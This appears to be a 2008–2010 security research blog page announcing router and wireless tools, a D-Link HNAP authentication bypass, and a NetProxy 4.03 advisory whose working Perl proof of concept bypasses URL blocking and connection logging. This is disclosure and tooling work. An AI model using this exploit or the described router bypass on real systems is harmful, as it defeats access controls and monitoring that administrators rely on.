SourceSec Security Research » Code

D-Link Routers: One Hack to Own Them All

cheffner — Sat, 09 Jan 2010 16:49:08 +0000

We’ve been on hiatus over the past few months working on other projects, but last week we re-focused on D-Link routers. While we previously found a flaw in D-Link’s CAPTCHA implementation, this time around we’ve found a way to view and edit D-Link router settings without any administrative credentials.

The short story is that D-Link routers have a second administrative interface, which uses the Home Network Administration Protocol. While HNAP does require basic authentication, the mere existence of HNAP on D-Link routers allows attackers and malware to bypass CAPTCHA “security”. Further, HNAP authentication is not properly implemented, allowing anyone to view and edit administrative settings on the router.

HNAP appears to have been implemented in D-Link routers since 2006, and cannot be disabled. We have verified that vulnerabilities exist in the HNAP implementations of the DI-524, DIR-628 and DIR-655 routers, and suspect that most, if not all, D-Link routers since 2006 are vulnerable.

You can read our full write-up here, and download our POC tool, HNAP0wn, here.

WiFinger Signatures Request

cheffner — Sun, 10 May 2009 17:28:51 +0000

As you may know, we recently released our WiFinger tool for fingerprinting wireless access points. However, fingerprinting tools are only as good as their signature database, and while we have a handful of popular signatures already, we need more. So if you want to contribute to this project, one of the best ways to help is to send us pcap files of 802.11 beacon packets for access points and routers that we don’t already have in our database.

Specifically, here’s what we’ll need:

If the access point supports WPA and/or WPS, enable both of those features. This can help us in creating more robust signatures.
Place your wireless card in monitor mode and use Wireshark to capture the access point’s beacon packets (we only need one beacon packet, so don’t feel like you have to capture large amounts of data).
Save the Wireshark capture and send us the pcap file along with as much information as you can about the access point (vendor, model, firmware version, hardware revision, etc).
Send all submissions to dev [at] sourcesec.com.

WPScan & WPSpy Tools

cheffner — Sat, 09 May 2009 18:08:16 +0000

These are the Wifi-Protected Setup tools that we presented at ChicagoCon.

WPScan actively sends 802.11 probe requests to access points that advertise WPS support. It then parses out the WPS Information Element in the resulting probe response and displays the results. This is a very useful fingerprinting tool since nearly all new routers have WPS enabled by default, and most vendors will actually put the exact make, model, and version of the router in the probe response!

WPSpy is a tool to simply monitor and report changes in the WPS status of and access point. This is particularly useful if you are running some of our described attacks that leverage WPS to gain access to the WLAN.

WiFinger Passive Wireless Fingerprinting Tool

cheffner — Sat, 09 May 2009 18:07:56 +0000

Here is one of the tools we presented at our ChicagoCon talk. It passively identifies wireless access points based on matching the Information Elements in their beacon packets against a fingerprint database. It is written in Python and uses Scapy, and has been tested in Linux.

Currently we only have a handful of signatures, so if you want to contribute to this tool, here’s what you can do:

Get your access point and enable WPA and WPS (if supported).
Capture the beacon frames that your access point is broadcasting and save them to a pcap file.
Send us the pcap file along with as much information about the access point as you can (make, model, firmware version, hardware revision, ESSID and BSSID).

Once we get your submission we’ll generate a signature for it and update the WiFinger database file. We think this tool has a lot of great potential, so we welcome any and all submissions – if you’ve got a router, let’s put it in there!

WiFinger can be downloaded here.

Miranda UPNP Administration Tool

cheffner — Fri, 07 Nov 2008 23:46:22 +0000

Miranda is a Python-based Universal Plug-N-Play client application designed to discover, query and interact with UPNP devices, particularly Internet Gateway Devices (aka, routers). It can be used to audit UPNP-enabled devices on a network for possible vulnerabilities. Some of its features include:

Interactive shell with tab completion and command history
Passive and active discovery of UPNP devices
Customizable MSEARCH queries (query for specific devices/services)
Full control over application settings such as IP addresses, ports and headers
Simple enumeration of UPNP devices, services, actions and variables
Correlation of input/output state variables with service actions
Ability to send actions to UPNP services/devices
Ability to save data to file for later analysis and collaboration
Command logging

Miranda was built on and for a Linux system and has been tested on a Linux 2.6 kernel with Python 2.5. However, since it is written in Python, most functionality should be available for any Python-supported platform. Miranda has been tested against IGDs from various vendors, including Linksys, D-Link, Belkin and ActionTec. All Python modules came installed by default on a Linux Mint 5 (Ubuntu 8.04) test system.

For more information about UPNP, visit the UPNP Forum. For information regarding UPNP vulnerabilities, see UPNP Hacks and GNUCitizen.

Download Miranda!

NetProxy 4.03 Web Filter Evasion

cheffner — Mon, 03 Nov 2008 21:36:50 +0000

Sending a specially crafted request to the NetProxy proxy server allows users to view restricted Web content and bypass the proxy’s logging feature.

Description
Assume that access to http://www.milw0rm.com has been blocked. The standard query string sent to NetProxy looks like:

GET http://www.milw0rm.com HTTP/1.0

NetProxy recognizes that this is a blocked URL and subsequently blocks the request. However, sending a request without ‘http://’ in the URL allows access to the blocked URL (note that the port must be manually specified as well):

GET www.milw0rm.com:80 HTTP/1.0

In addition, requests made in this manner are not logged to NetProxy’s connection log file.

Exploit POC
#!/usr/bin/perl use IO::Socket;


#Define the NetProxy server and port

$proxy_ip = "127.0.0.1";

$proxy_port = "8080";
#Set the site, port and page to request

$site = "www.milw0rm.com";

$port = "80";

$page = "index.html";
#Define FF and IE user agent strings

$ms_ie = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)";

$ms_ff = "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1";
#Create connection to NetProxy

my $sock = new IO::Socket::INET(

Proto => 'tcp',

PeerAddr => $proxy_ip,

PeerPort => $proxy_port,

);

die "Failed to connect to [$proxy_ip:$proxy_port] : $!\n" unless $sock;
#Format the request

$request = "GET $site:$port/$page HTTP/1.0\r\n";

$request .= "User-Agent: $ms_ff\r\n";

$request .= "\r\n";
#Send the request

print $sock $request;
#Read the reply

while(<$sock>){

$reply .= $_;

}
close($sock);
#Separate NetProxy header from HTML

($header,$html) = split("\r\n\r",$reply);
print $html;

exit;

Credits
Discovered by Craig Heffner and originally posted on milw0rm.